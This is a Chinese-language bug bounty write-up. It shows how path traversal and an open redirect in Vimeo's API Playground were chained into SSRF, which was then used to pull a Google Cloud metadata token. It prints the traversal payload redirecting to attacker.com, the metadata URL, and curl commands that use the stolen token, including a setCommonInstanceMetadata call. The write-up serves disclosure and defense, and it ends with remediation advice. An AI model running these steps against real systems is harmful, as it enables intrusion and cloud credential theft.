Bug Bounty: 漏洞组合导致SSRF 5000$
字数 1628 2025-08-26 22:11:28

Vimeo SSRF漏洞组合利用分析报告

漏洞概述

本报告详细分析了Vimeo平台上一个严重的安全漏洞组合,该组合利用路径遍历和开放重定向漏洞实现了服务器端请求伪造(SSRF),并进一步尝试了Google云元数据API访问,最终获得了5000美元的漏洞赏金。

漏洞背景

Vimeo提供了一个名为"API Playground"的API控制台,允许用户通过服务端发送API请求。关键发现点包括:

  • 用户可以控制请求的多个参数:uri、请求方法(GET/POST等)、user_id和video_id
  • 请求通过服务端处理,格式为:https://api.vimeo.com/users/{user_id}/videos/{video_id}

漏洞发现过程

1. 服务端路径遍历

  1. 首先测试uri参数,使用路径遍历payload返回403错误,确认网站允许设置API端点
  2. 修改video_id值为../../../,测试是否能访问api.vimeo.com根目录
  3. 成功构造请求:URL.parse("https://api.vimeo.com/users/1122/videos/../../../attacker")
  4. 结果显示api.vimeo.com列出了所有响应端点

2. 跳出api.vimeo.com限制

通过HTTP 30X重定向实现跨域访问:

  1. 在api.vimeo.com上发现一个重定向到vimeo.com的端点:https://api.vimeo.com/m/something
  2. 在vimeo.com上找到一个低危重定向漏洞,格式为:https://vimeo/vulnerable/open/redirect?url=https://attacker.com

3. 攻击链组合

组装最终payload:

../../../m/vulnerable/open/redirect?url=https://attacker.com

放入video_id参数后,请求流程变为:

  1. 初始请求:https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com
  2. 解析后变为:https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com
  3. HTTP重定向到vimeo.com:https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com
  4. 利用重定向漏洞最终跳转到:https://attacker.com

深入利用

Google云元数据API访问

  1. 发现Vimeo基于Google云,尝试访问元数据API:

    http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
    
  2. 成功获取访问令牌:

    {
      "access_token": "ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA",
      "expires_in": 2631,
      "token_type": "Bearer"
    }
    
  3. 使用curl验证token信息:

    curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
    

    返回:

    {
      "issued_to": "101302079XXXXX",
      "audience": "10130207XXXXX",
      "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
      "expires_in": 2443,
      "access_type": "offline"
    }
    
  4. 尝试设置实例元数据(虽然SSH端口未开放):

    curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "harsh-bugdiscloseguys", "value": "harsh-ssrf"}]}'
    

漏洞修复时间线

  • 1月28日:漏洞提交
  • 1月28日:HackerOne团队确认
  • 1月28日:Vimeo团队临时修复并奖励100美元
  • 1月30日/31日:完整性修复
  • 2月1日:最终奖励4900美元

关键学习点

  1. API端点控制:仔细分析API参数的可控范围,特别是URI构造部分
  2. 路径遍历利用:通过../../../等payload测试服务端路径解析逻辑
  3. 重定向链构造:组合多个重定向漏洞实现跨域SSRF
  4. 云服务元数据利用:针对云平台(如GCP)的元数据API是SSRF的高价值目标
  5. 权限提升尝试:获取token后尝试修改实例元数据,虽然SSH端口未开放但展示了潜在风险

防御建议

  1. 严格验证用户提供的URL和路径参数
  2. 禁用或限制服务端重定向功能
  3. 对云元数据API实施网络层限制
  4. 使用服务账户时设置最小权限原则
  5. 实施请求白名单机制,限制内部API的可访问范围

此漏洞展示了如何通过组合多个中低危漏洞实现高危攻击链,强调了全面安全评估的重要性。

Vimeo SSRF漏洞组合利用分析报告 漏洞概述 本报告详细分析了Vimeo平台上一个严重的安全漏洞组合,该组合利用路径遍历和开放重定向漏洞实现了服务器端请求伪造(SSRF),并进一步尝试了Google云元数据API访问,最终获得了5000美元的漏洞赏金。 漏洞背景 Vimeo提供了一个名为"API Playground"的API控制台,允许用户通过服务端发送API请求。关键发现点包括: 用户可以控制请求的多个参数:uri、请求方法(GET/POST等)、user_ id和video_ id 请求通过服务端处理,格式为: https://api.vimeo.com/users/{user_id}/videos/{video_id} 漏洞发现过程 1. 服务端路径遍历 首先测试uri参数,使用路径遍历payload返回403错误,确认网站允许设置API端点 修改video_ id值为 ../../../ ,测试是否能访问api.vimeo.com根目录 成功构造请求: URL.parse("https://api.vimeo.com/users/1122/videos/../../../attacker") 结果显示api.vimeo.com列出了所有响应端点 2. 跳出api.vimeo.com限制 通过HTTP 30X重定向实现跨域访问: 在api.vimeo.com上发现一个重定向到vimeo.com的端点: https://api.vimeo.com/m/something 在vimeo.com上找到一个低危重定向漏洞,格式为: https://vimeo/vulnerable/open/redirect?url=https://attacker.com 3. 攻击链组合 组装最终payload: 放入video_ id参数后,请求流程变为: 初始请求: https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com 解析后变为: https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com HTTP重定向到vimeo.com: https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com 利用重定向漏洞最终跳转到: https://attacker.com 深入利用 Google云元数据API访问 发现Vimeo基于Google云,尝试访问元数据API: 成功获取访问令牌: 使用curl验证token信息: 返回: 尝试设置实例元数据(虽然SSH端口未开放): 漏洞修复时间线 1月28日:漏洞提交 1月28日:HackerOne团队确认 1月28日:Vimeo团队临时修复并奖励100美元 1月30日/31日:完整性修复 2月1日:最终奖励4900美元 关键学习点 API端点控制 :仔细分析API参数的可控范围,特别是URI构造部分 路径遍历利用 :通过 ../../../ 等payload测试服务端路径解析逻辑 重定向链构造 :组合多个重定向漏洞实现跨域SSRF 云服务元数据利用 :针对云平台(如GCP)的元数据API是SSRF的高价值目标 权限提升尝试 :获取token后尝试修改实例元数据,虽然SSH端口未开放但展示了潜在风险 防御建议 严格验证用户提供的URL和路径参数 禁用或限制服务端重定向功能 对云元数据API实施网络层限制 使用服务账户时设置最小权限原则 实施请求白名单机制,限制内部API的可访问范围 此漏洞展示了如何通过组合多个中低危漏洞实现高危攻击链,强调了全面安全评估的重要性。